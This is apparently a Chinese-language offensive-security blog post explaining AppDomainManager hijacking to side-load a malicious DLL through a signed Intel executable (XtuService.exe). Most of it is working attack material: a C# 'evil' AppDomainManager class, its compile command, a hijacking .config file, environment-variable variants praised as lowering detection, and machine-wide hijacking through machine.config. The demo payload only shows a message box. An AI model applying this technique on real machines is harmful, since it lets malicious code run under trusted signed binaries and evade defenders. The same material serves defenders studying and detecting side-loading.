AppDomainManager劫持实现dll侧加载(白加黑)

参考文章 https://mp.weixin.qq.com/s/dHZdal6A-SX2vMWZNu6sQQ

注意:因为恶意dll劫持后没有完成AppDomainManager原始的功能,所以白文件在运行后会崩溃,在事件日志中也会记录

AppDomainManager劫持

首先,编写一个恶意的cs代码(evil.cs)

1
2
3
4
5
6
7
8
9
10
using System;
using System.EnterpriseServices;
using System.Runtime.InteropServices;

public sealed class EvilAppDomainManager:AppDomainManager{
public override void InitializeNewDomain(AppDomainSetup appDomainInfo){
System.Windows.Forms.MessageBox.Show("恶意代码执行");
return;
}
}

csc编译出evil.dll

1
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:library /out:evil.dll evil.cs

这里拿XtuService.exe作为白文件测试。拥有英特尔和WHQL的双签名,非常的白(赞赏)

第一种加载方法(配置文件)

XtuService.exe同目录下创建XtuService.exe.config,内容如下

1
2
3
4
5
6
<configuration>
<runtime>
<appDomainManagerAssembly value="evil" />
<appDomainManagerType value="EvilAppDomainManager" />
</runtime>
</configuration>

此时运行XtuService.exe,恶意dll成功侧加载

第二种加载方法(环境变量)

使用环境变量无需创建配置文件,减小了检测面

1
2
set APPDOMAIN_MANAGER_ASM=evil
set APPDOMAIN_MANAGER_TYPE=EvilAppDomainManager

设置好环境变量,运行XtuService.exe,恶意dll成功侧加载

全局劫持

白文件运行后会崩溃,非常不建议这样做

全局配置文件

修改C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machine.config的全局配置文件,并写入上述配置,可以劫持整个机器上的所有.NET程序

全局环境变量

创建全局的环境变量,同样可以劫持全部.NET程序


AppDomainManager劫持实现dll侧加载(白加黑)
https://crackme.net/articles/appDomainManager_exploit/
作者
Brassinolide
发布于
2024年10月1日
许可协议